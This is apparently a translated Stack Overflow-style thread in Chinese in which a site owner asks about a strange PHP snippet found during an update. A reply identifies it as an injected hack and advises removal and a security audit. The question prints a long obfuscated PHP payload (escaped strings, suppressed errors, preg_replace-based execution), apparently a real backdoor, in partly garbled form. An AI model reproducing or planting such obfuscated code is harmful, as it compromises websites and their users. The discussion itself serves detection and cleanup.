这段代码在PHP中意味着什么？

在更新PHP网站时,我遇到了这段代码.它没有任何意义.

这可能是什么？攻击网站或某事???

 >2*!%x5c256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUf+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]y83]256]x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;tn+qsvmt+fmhpph#)zbssb!-#}#)fep5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gp25kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y4]275]y7:]268]y7f#b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5cj0#!%x5c%x782f!**#sfmcnbs+yfeoSFSFGFS%x5c%x7860QUUI&c_UOFHBuofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x787825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%vg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%if((function_exists("%x6f%142%x5f%1!<##!>!2p%x5c%x7825!|!*85c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x78>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%xb%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<*65]y31]55]y85]82]y76]62]y3:]84#-:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctu,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878r.985:52976]258]y6g]273]y76]271])-1);} @error_reporting(0); preg_replace("%x2f%50%x2e%52273]y76]258]y6g]273]y76]271]y7d]252%x7822:ftmbg39*56A:>:#+I#)q%x5c%x7825:>:r%x5c%x78255%x5c%x785cSFWSFT%x5c%x>%x5c%x782272qj%x5c%x5c%x7825)7gj6<*id%xx5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%x3a%146%x7f_*#fubfsdXk5%x5c%x7860<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdx7825iN}#-!tussfw)%x5c%x78h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7826-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9#%x5c%x782fq%x5c%x7825>U<#16pjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%xy72]265]y39]274]y85]273]y6gx5c%x7825tww!>!%x5c%x782400~:EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7875c%x78256#L4]275L3#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c]248L3P6L1M5]D2P4]D6#<%x5c%x77827K6<%x5c%x787fw6*3qj%x5c%x78257{66~6<&w6<%x5c%x787fw6*CW&)7#)tutjyf%x5c%x7860opjudo7825:-5ppde:4:|:**#ppde#)tutjyf%5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946OSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%%x5c%x782f},;#-#}+;%s)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x6:!}7;!}6;##}C;!>>!}W;utpi}Y;7]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.%x7825z>32>%x5c%x75c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x78!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x782x5c%x7860hA%x5c%x7827pd%x5c%x782565h%x5c%x7x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7820hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x787863%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"]fbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#8{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3>2b%x5c%x7825!<*qp%x5c%x71*!%x5c%x7825b:>1%x5c%x76*CW&)7gj6<*K)ftpmdXA6~6!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825b825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]567860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x7824-%x5c%x7824-!%utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%25!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgAmqnj!%x5c%x782f!#0#)idubn%x5c%x786x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x78{hnpd!opjudovg!|!**#j{hnpd]452]88]5]48]32M3]317]445]212]4tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;5tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5P6]36]73]83]238M7]381]211M5]67%x7825j,,*!|%x5c%x7824-55%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%85-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e27rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}1<%x5c%x7825b:>11<%x52]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78]+^?]_%x5c%x785c}X%x5c%x7824!#]y76]277]!%x5c%x7825mm!>!#]y81]%x7825:osvufs:~:<*9-1-r%x5c%x782y74]256]y39]252]y83]273]y72]282#!#]x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>27!hmg%x5c%x7825)!gj!~!tus%x7825):fmji%x5c%x7878:<##:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fu*qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x78!%x5c%x78242178}527}88:}334}472%x5c%x7824j8Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878825>j%x5c%x7825!<**3-!OVMM*<%x22%51%x29%51%x29%73", NULL); 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Matt Gibson.. 5

是.这是一个黑客.随机生成的变量名称等都会混淆内容并使搜索使用扫描程序变得不那么容易 - 代码会做同样的事情,但在每个站点上使用不同的变量名等,所以你不能只需搜索特定的字符串即可找到它.这是另一个看起来像是同一个hack的例子.

您应该删除代码,但当然不会删除任何允许黑客首先将其放在那里的漏洞,因此您需要审核该网站并进行修复.这超出了这里的答案范围,也超出了Stack Overflow的主题范围.(您可以在http://security.stackexchange.com上获得更多运气,但在发布之前请检查他们的帮助中心 ...)

这也是一个WordPress网站吗？我会仔细遵循常见问题解答"我的网站遭到黑客攻击"中的所有建议.